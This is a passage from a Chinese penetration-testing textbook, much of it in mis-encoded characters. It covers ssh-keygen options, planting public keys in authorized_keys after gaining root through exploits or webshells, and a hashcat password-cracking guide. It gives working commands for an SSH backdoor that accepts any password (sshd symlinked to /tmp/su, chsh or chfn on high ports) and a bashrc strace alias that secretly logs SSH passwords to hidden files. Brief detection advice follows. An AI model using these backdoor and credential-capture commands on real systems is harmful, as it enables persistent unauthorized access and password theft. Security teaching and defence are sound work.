utput_file:為DH-GEX產(chǎn)生候選素數(shù)。-g:在使用“-r”命令打印指紋資源記錄的時候使用通用的DNS格式。-H:對known_hosts文件進行散列計算。-h:在簽署密鑰時,創(chuàng)建主機證書而不是用戶證書。-i:讀取未加密的SSH-2兼容的通過?-m選擇指定格式的私鑰/公鑰文件,然后在stdout顯示OpenSSH兼容的私鑰/公鑰,該選項主要用于從多種商業(yè)版本的SSH中導入密鑰。-Jnum_lines:使用“-T”選項執(zhí)行DH候選篩選后篩選指定行數(shù)之后退出。-jstart_line:使用?-T選項執(zhí)行DH候選篩選時,在指定行號開始篩選。-Kcheckpt:當使用?-T選項執(zhí)行DH篩選處理checkpt文件的最后一行。-k:生成KRL文件。在這個模式中,通過“-f”標志每一個密鑰或證書撤銷命令行上ssh-keygen將在指定的位置產(chǎn)生一個KRL文件,要撤消的鍵或證書可以由公鑰文件指定,也可以使用鍵撤銷列表部分中描述的格式。-L:打印一個或多個證書的內(nèi)容。-I:顯示公鑰文件的指紋數(shù)據(jù)。它也支持RSA1的私鑰。-Mmemory:指定在生成DH-GEXS候選素數(shù)的時候最大內(nèi)存用量(MB)。-Nnew_passphrase:提供一個新的密語。-nprincipals:指定一個或多個主體(用戶或主機名),以便在簽署密鑰時將其包含在證書中。-Ooption:在簽名密鑰時指定證書選項。Clear:清除所啟用的權限。force-command=command強制執(zhí)行命令,而不是當證書用于身份驗證時由用戶指定的任何shell或命令。no-agent-forwarding:禁用SSH代理轉發(fā)(默認值是允許的)。no-port-forwarding:禁用端口轉發(fā)(默認值是允許的)。no-pty:禁用PTY分配(默認允許)。no-user-rc:禁用通過sshd執(zhí)行~/.ssh/rc(默認允許)。no-x11-forwarding:禁用X11轉發(fā)(默認允許)。permit-agent-forwarding:允許ssh-agent轉發(fā)。permit-port-forwarding:允許端口轉發(fā)。permit-pty:允許PTY分配。permit-user-rc:允許通過sshd執(zhí)行~/.ssh/rc。permit-x11-forwarding:允許X11轉發(fā)。source-address=address_list:限制被認為有效的證書的源地址。-ossh-keygen:使用新的OpenSSH格式而不是更兼容PEM格式保存私鑰。-Ppassphrase:提供(舊)密語。-p:要求改變某私鑰文件的密語而不重建私鑰。-Q:在KRL里面測試是否取消了證書。-qssh-keygen:安靜模式。-Rhostname:從known_hosts文件中刪除所有屬于hostname的密鑰。-rhostname:打印名為hostname的公鑰文件的SSHFP指紋資源記錄。-Sstart:指定在生成DH-GEX候選模數(shù)時的起始點(16進制)。-sca_key:使用指定的CA證書驗證(簽名)公鑰。-Toutput_file:測試Diffie-Hellmangroupexchange候選素數(shù)(由?-G選項生成)的安全性。-tdsa|ecdsa|ed25519|rsa|rsa1:指定要創(chuàng)建的密鑰類型。-u:更新一個KRL。-Vvalidity_interval:在簽署證書時指定有效間隔。-v:詳細模式。-Wgenerator:指定在為DH-GEX測試候選模數(shù)時想要使用的generator。-y:讀取OpenSSH專有格式的公鑰文件,并將OpenSSH公鑰顯示在標準輸出上。-zserial_number:指定要嵌入到證書中的序列號,以便將該證書與其他證書從同一CA中區(qū)分。2.使用ssh-keygen生成密鑰的相關理論知識一般說來,如果用戶希望使用RSA或DSA認證,那么至少應該運行一次ssh-keygen程序,在?~/.ssh/identity、~/.ssh/id_dsa或?~/.ssh/id_rsa文件中創(chuàng)建認證所需的密鑰。另外,系統(tǒng)管理員還可以用它產(chǎn)生主機密鑰。通常這個程序會產(chǎn)生一個密鑰對,并要求指定一個文件存放私鑰,同時將公鑰存放在附加了pub后綴的同名文件中。程序同時要求輸入一個密語字符串(passphrase),空表示沒有密語(主機密鑰的密語必須為空)。密語和口令(password)非常相似,但是密語可以是一句話,里面有單詞、標點符號、數(shù)字、空格或任何你想要的字符。密語可以用“-p”選項修改。丟失的密語不可恢復,如果丟失或忘記了密語,用戶必須產(chǎn)生新的密鑰,然后把相應的公鑰分發(fā)到其他機器上去。RSA1的密鑰文件中有一個"注釋"字段,可以方便用戶標識這個密鑰,指出密鑰的用途或其他有用的信息。創(chuàng)建密鑰的時候,注釋域初始化為?"user@host",以后可以用-c選項修改。創(chuàng)建過程分為兩步:首先,使用一個快速且消耗內(nèi)存較多的方法生成一些候選素數(shù)。然后,對這些素數(shù)進行適應性測試(消耗CPU較多)??梢允褂?-G選項生成候選素數(shù),同時使用?-b選項制定其位數(shù)。例如:#ssh-keygen-Gmoduli-2048.candidates-b2048默認從指定位數(shù)范圍內(nèi)的一個隨機點開始搜索素數(shù),不過可以使用?-S選項來指定這個隨機點(十六進制)。生成一組候選數(shù)之后,接下來就需要使用?-T選項進行適應性測試。此時ssh-keygen將會從stdin讀取候選素數(shù)(或者通過?-f選項讀取一個文件),例如:#ssh-keygen-Tmoduli-2048-fmoduli-2048.candidates每個候選素數(shù)默認都要通過100個基本測試(可以通過?-a選項修改)。DHgenerator的值會自動選擇,但是你也可以通過?-W選項強制指定。有效的值可以是2、3、5。經(jīng)過篩選之后的DHgroups就可以存放到?/etc/ssh/moduli里面了。重要的一點是這個文件必須包括不同長度范圍的模數(shù),而且通信雙方共享相同的模數(shù)。~/.ssh/identity該用戶默認的RSA1身份認證私鑰(SSH-1)。~/.ssh/identity.pub該用戶默認的RSA1身份認證公鑰(SSH-1)。~/.ssh/id_dsa該用戶默認的DSA身份認證私鑰(SSH-2)。~/.ssh/id_dsa.pub該用戶默認的DSA身份認證公鑰(SSH-2)。~/.ssh/id_rsa該用戶默認的RSA身份認證私鑰(SSH-2)。~/.ssh/id_rsa.pub該用戶默認的RSA身份認證公鑰(SSH-2)。3.生成rsa公私鑰密鑰對在本機使用命令執(zhí)行ssh-keygen-trsa,將會生成id_rsa和id_rsa.pub公私鑰文件。ssh-keygen-tdsa:將會生成id_dsa和id_dsa.pub公私鑰文件。ssh-keygen-tecdsa:將會生成id_ecdsa和id_ecdsa.pub公私鑰文件。ssh-keygen-ted25519:將會生成id_ed25519和id_ed25519.pub公私鑰文件。5.6.3滲透之公鑰利用ssh免密碼登錄是利用ssh-keygen命令生成公鑰和私鑰,將私鑰復制到對方服務器/root/.ssh或者/home/username/.ssh目錄下的authorized_keys,同時設置authorized_keys文件權限為600,.ssh文件夾權限為700,在登錄時直接輸入對方服務器的IP地址進行登錄。環(huán)境配置情況如下:服務器A的IP地址為33,主機名稱是Kali2016服務器B的IP地址為31,主機名稱是Kali20171.單一服務器免登錄條件:服務器A(kali2016)免密碼登錄服務器B(kali2017)。(1)服務器B執(zhí)行命令:cd/root/mkdir.ssh(2)服務器B執(zhí)行命令:ssh-keygen-trsascp/root/.ssh/id_rsa.pubroot@31:/root/.ssh/authorized_keys(3)服務器B執(zhí)行命令:chmod600/root/.ssh/authorized_keyschmod700-R/root/.ssh(4)服務器A上直接登錄服務器B執(zhí)行命令:sshroot@31或者ssh312.服務器相互登錄(1)分別在A和B服務器上執(zhí)行ssh-keygen-trsa。(2)將A和B服務器上面的公鑰文件id_rsa.pub生成到authorized_keys。A服務器上執(zhí)行復制公鑰到B服務器上操作:scp/root/.ssh/id_rsa.pubroot@31:/root/.ssh/authorized_keysB服務器上執(zhí)行復制公鑰到A服務器上操作scp/root/.ssh/id_rsa.pubroot@33:/root/.ssh/authorized_keys(3)分別在A和B服務器上設置目錄及文件權限。chmod600/root/.ssh/authorized_keyschmod700-R/root/.ssh(4)服務器B和服務器A相互間免密碼登錄。3.通過structs等漏洞或者通過提權獲取root權限情況(1)可以通過工具軟件或者Webshell將本地的id_rsa.pub復制到33服務器上,并將該文件重命名或者cat到authorized_keys。(2)?catid_rsa.pub>>/root/.ssh/authorized_keys,如果沒有創(chuàng)建.ssh文件夾,則需要先創(chuàng)建,其他步驟跟上面相同。4.使用ssh-copy-id命令復制公鑰到服務器ssh-copy-id命令可以把本地主機的公鑰復制到遠程主機的authorized_keys文件中,ssh-copy-id命令也會給遠程主機的用戶主目錄(home)、~/.ssh和~/.ssh/authorized_keys設置合適的權限,前提條件是知道雙方服務器的root或者其他賬號密碼,其命令格式如下:ssh-copy-id-i~/.ssh/id_rsa.pubuser@server(1)從服務器A將公鑰復制到服務器B上。ssh-copy-id-i/root/.ssh/id_rsa.pubroot@31(2)從服務器B將公鑰復制到服務器A上。ssh-copy-id-i/root/.ssh/id_rsa.pubroot@33執(zhí)行效果如圖5-50所示,需要確認是否輸入,輸入yes,然后輸入登錄服務器的對應賬號密碼,即可將本地服務器的公鑰上傳到對方服務器上。(3)?sshroot@33或者sshroot@31直接免密碼登錄服務器,如圖5-51所示,不需要輸入密碼便可直接登錄服務器。5.設定客戶端連接使用的ssh私鑰和公鑰vim/etc/ssh/ssh_config找到#IdentityFile~/.ssh/identity#IdentityFile~/.ssh/id_rsa#IdentityFile~/.ssh/id_dsa把前面的#去掉,然后在IdentityFile后填寫用來執(zhí)行SSH時所用的密鑰。5.6.4滲透之SSH后門1.免密碼登錄SSH后門通過滲透得到shell后,發(fā)現(xiàn)對方防火墻沒限制,可以快速開放一個可以訪問的SSH端口,用戶名為root、bin、ftp和mail,并以任意密碼登錄:ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=31337;例如在33上執(zhí)行l(wèi)n-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=31337;登錄33執(zhí)行以下命令,如圖5-52所示。sshroot@33sshbin@33sshftp@33sshmail@33圖5-52免密碼登錄SSH后門2.?SSH免密碼后門登錄注意事項(1)?Linux軟連接SSH后門需要SSH配置允許PAM認證后才能使用。(2)如果被控主機不允許root登錄可用其他已存在用戶登錄。(3)通過軟連接的方式,實質(zhì)上PAM認證的是通過軟連接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目錄下尋找對應的PAM配置文件(如:/etc/pam.d/su)。(4)任意密碼登錄的核心是authsufficientpam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密碼登錄,實踐表明,可成功利用的PAM配置文件除了su還有chsh、chfn,執(zhí)行命令find./|xargsgrep"pam_rootok"獲取。同類的還有chsh和chfn也可以建立SSH后門:ln-sf/usr/sbin/sshd/tmp/chsh;/tmp/chsh-oport=12346ln-sf/usr/sbin/sshd/tmp/chfn;/tmp/chfn-oport=123473.?strace記錄SSH密碼apt-getinstallstracevi~/.bashrc在其中加入aliasssh='strace-o/tmp/.sshpwd-`date'+%d%h%m%s'`.log-s2048ssh'通過查看/tmp/的log文件來獲取記錄的密碼:cat.sshpwd-17May051494975433.log|egrep"(read\(4).*\)"5.6.5安全防范(1)對?/root/.ssh/authorized_keys或者?/home/user/.ssh/authorized_keys文件內(nèi)容進行檢查,其中出現(xiàn)非管理員或者本機用戶的內(nèi)容即為入侵者留下的。(2)對known_hosts文件進行時間和內(nèi)容檢查。(3)查看?.ssh目錄下的文件生成時間和文件內(nèi)容。

第七節(jié)Hashcat密碼破解

5.7.1準備工作(1)?KaliLinux操作系統(tǒng)或者虛擬機。(2)?Windows7操作系統(tǒng)或者虛擬機。(3)準備字典。(4)新建用戶。(5)下載saminside。(6)字典合并及排序處理。5.7.2Hashcat軟件使用參數(shù)1.?hashcat使用參數(shù)直接運行hashcat(分為32和64位版本)會提示使用參數(shù):Usage:hashcat64[options]...hash|hashfile|hccapxfile[dictionary|mask|directory]...也即hashcat[選項]破解的哈希值或hash文件、hccapx文件[字典|掩碼|目錄]...Hccapxfile對應無線包,其對應破解哈希類型為"-m2500=WPA/WPA2"。2.查看幫助可以使用hashcat--help>help.txt來參考具體的參數(shù)使用幫助。3.選項(1)普通:-m, --hash-type=NUM哈希類別,其NUM值參考其幫助信息下面的哈希類別值,其值為數(shù)字。-a, --attack-mode=NUM攻擊模式,其值參考后面對參數(shù)?!?a0”字典攻擊;“-a1”組合攻擊;“-a3”掩碼攻擊-V, —version版本信息-h, --help幫助信息--quiet 安靜的模式,抑制輸出(2)基準測試:-b, --benchmark測試計算機破解速度和顯示硬件相關信息(3)雜項:--hex-salt salt值是用十六進制給出的--hex-charset 設定字符集是十六進制給出--runtime=NUM 運行數(shù)秒(NUM值)后的中止會話--status 啟用狀態(tài)屏幕的自動更新--status-timer=NUM 狀態(tài)屏幕更新秒值--status-automat 以機器可讀的格式顯示狀態(tài)視圖--session 后跟會話名稱,主要用于中止任務后的恢復破解(4)文件:-o,--outfile=FILE 定義哈希文件恢復輸出文件--outfile-format=NUM 定義哈希文件輸出格式,見下面的參考資料--outfile-autohex-disable 禁止使用十六進制輸出明文-p,--separator=CHAR 為哈希列表/輸出文件定義分隔符字符--show 僅顯示已經(jīng)破解的密碼--left 僅顯示未破解的密碼--username 忽略hash表中的用戶名,對Linux文件直接進行破解,不需要進行整理。--remove 移除破解成功的hash,當hash是從文本中讀取時有用,避免自己手工移除已經(jīng)破解的hash--stdout 控制臺模式--potfile-disable 不寫入pot文件--debug-mode=NUM 定義調(diào)試模式(僅通過使用規(guī)則進行混合),參見下面的參考資料--debug-file=FILE 調(diào)試規(guī)則的輸出文件(請參閱調(diào)試模式)-e,--salt-file=FILE定義加鹽文件列表--logfile-disable 禁止logfile(5)資源:-c,--segment-size=NUM字典文件緩存大小(M)-n,--threads=NUM線程數(shù)-s,--words-skip=NUM跳過單詞數(shù)-l,--words-limit=NUM限制單詞數(shù)(分布式)(6)規(guī)則:-r,--rules-file=FILE使用規(guī)則文件:-r1.rule,-g,--generate-rules=NUM隨機生成規(guī)則--generate-rules-func-min=每個隨機規(guī)則最小值--generate-rules-func-max=每個隨機規(guī)則最大值--generate-rules-seed=NUM強制RNG種子數(shù)(7)自定義字符集:-1,--custom-charset1=CS用戶定義的字符集1-2,--custom-charset2=CS用戶定義的字符集2-3,--custom-charset3=CS--custom-charset1=?dabcdef:設置?1為0123456789abcdef-4,--custom-charset4=CS-2mycharset.hcchr:設置?2包含在mycharset.hcchr文件(8)攻擊模式。大小寫轉換攻擊:--toggle-min=NUM在字典中字母的最小值--toggle-max=NUM在字典中字母的最大值*使用掩碼攻擊模式:--increment使用增強模式--increment-min=NUM增強模式開始值--increment-max=NUM增強模式結束值*排列攻擊模式:--perm-min=NUM過濾比NUM數(shù)小的單詞--perm-max=NUM過濾比NUM數(shù)大的單詞*查找表攻擊模式:-t,--table-file=FILE表文件--table-min=NUM在字典中的最小字符值--table-max=NUM在字典中的最大字符值*打印攻擊模式:--pw-min=NUM如果長度大于NUM,則打印候選字符--pw-max=NUM如果長度小于NUM,則打印候選字符--elem-cnt-min=NUM每個鏈的最小元素數(shù)--elem-cnt-max=NUM每個鏈的最大元素數(shù)--wl-dist-len從字典表中計算輸出長度分布--wl-max=NUM從字典文件中加載NUM個單詞,設置0禁止加載--case-permute在字典中對每一個單詞進行反轉5.7.3密碼破解推薦原則1.密碼破解推薦原則破解時采取先易后難的原則,建議如下:(1)利用收集的公開字典進行破解。(2)使用1~8位數(shù)字進行破解。(3)使用1~8位小寫字母進行破解。(4)使用1~8位大寫字母進行破解。(5)使用1~8位混合大小寫?+?數(shù)字?+?特殊字符進行破解。2.?hashcat破解規(guī)則(1)字典攻擊。-a0password.lst(2)?1到8位數(shù)字掩碼攻擊。-a3--increment--increment-min1--increment-max8?d?d?d?d?d?d?d?d-O?d代表數(shù)字,可以換成小寫字母??l,大寫字母??u,特殊字符??s,大小寫字母?+?特殊字符??a,–O表示最優(yōu)化破解模式,可以加該參數(shù),也可以不加該參數(shù)。(3)?8位數(shù)字攻擊。-a3?d?d?d?d?d?d?d?d同理可以根據(jù)位數(shù)設置為大寫字母、小寫字母、特殊字符等模式。(4)自定義字符?,F(xiàn)在純數(shù)字或者純字母的密碼是比較少見的,根據(jù)密碼專家對泄漏密碼的分析,90%的個人密碼是字母和數(shù)字的組合,可以使用自定義字符來進行暴力破解,Hashcat支持4個自定義字符集,分別是-1-2-3-4。(5)字典?+?掩碼暴力破解。Hashcat還支持一種字典加暴力的破解方法,就是在字典前后再加上暴力的字符序列,比如在字典后面加上3為數(shù)字,這種密碼是很常見

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論